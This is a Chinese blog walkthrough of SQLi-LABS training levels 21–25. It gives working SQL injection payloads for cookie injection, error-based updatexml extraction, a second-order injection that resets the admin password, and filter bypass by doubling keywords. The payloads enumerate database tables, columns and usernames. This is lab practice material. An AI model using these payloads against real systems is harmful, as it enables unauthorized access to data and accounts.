SQLi-LABS靶场21-25通过攻略

less-21

1.使用admin进行登录 判断注入点

登录之后 使用burp抓包 查看信息

可以发现cookie处经过了base64编码 可能是cookie注入

尝试在cookie后加单引号 发现会引起报错

使用‘)进行base64编码后发现页面正常 说明闭合方式是’) #

2.判断列数

当order by =3时 页面显示正常

当order by =4时 页面显示不正常 说明存在3列

 

3.查询页面回显点

‘)union select 1,2,3 #进行base64编码

4.查询数据库名

') union select 1,database(),3 #进行base64编码

5.查询数据库中的所有表

') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 #

6.查询users表中的所有字段

') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 #

less-22

1.使用admin进行登录 判断注入点

登录之后 使用burp抓包 查看信息

可以发现cookie处经过了base64编码 可能是cookie注入

尝试在cookie后加单引号 发现会引起报错

同上一关一样 只是闭合方式有所不同

2.判断闭合方式

使用双引号可以成功闭合 页面显示正常

3.查询我们需要的数据

查询列数和回显点等操作同第21关一样 详情如上

less-23

1.判断注入点

在url后加入单引号会引起报错 说明存在注入点

2.判断闭合方式

我们尝试使用--+和#闭合 发现都无法闭合 可能注释符被过滤

注释符被过滤 我们就要考虑如何闭合语句

当在地址栏后输入?id=1' and ’1 页面显示正常 那么闭合方式就是' and '1

3.查询数据库名

既然页面有报错 那么可以尝试使用报错注入 

id=1' and updatexml(1,concat(1,database()),1) and '1

4.查询数据库中的所有表

id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '1

5.查询users表的索引字段

id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and '1

less-24

1.将恶意代码存储到数据库中

这一关使用的是二次带入 先将恶意代码储存到数据库 方便我们二次利用

点击注册admin’#用户

由于我们使用#把密码注释 所以我们不需要输入密码 也能注册成功

查看数据库发现 密码为空

2.修改密码

首先登录admin‘# 登录之后我们修改密码

由于我们不知道原密码 所以直接修改密码即可

修改密码为123456

显示修改成功

3.使用新密码可以直接登录成功

less-25

1.判断注入点

在url后加上单引号会引起报错 说明存在sql注入

2.判断闭合方式

发现闭合方式就是单引号闭合

3.判断回显点

当我们查询列数时 发现order by 中的or被过滤掉了

我们使用双写来绕过过滤id=1' Oorrder by 3 --+ 我们知道共有3列

id=-1' union select 1,2,3 --+ 可以看到页面有回显点

4.查询数据库名

id=-1' union select 1,database(),3 --+ 

可以查到数据库名为security

5.查询数据库中的所有表

id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3 --+ 

6.查询users表的所有字段

id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'),3 --+ 

7.查询所有字段数据

id=-1' union select 1,(select username from users limit 0,1),3 --+//查users表的第一个用户名

  • 16
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值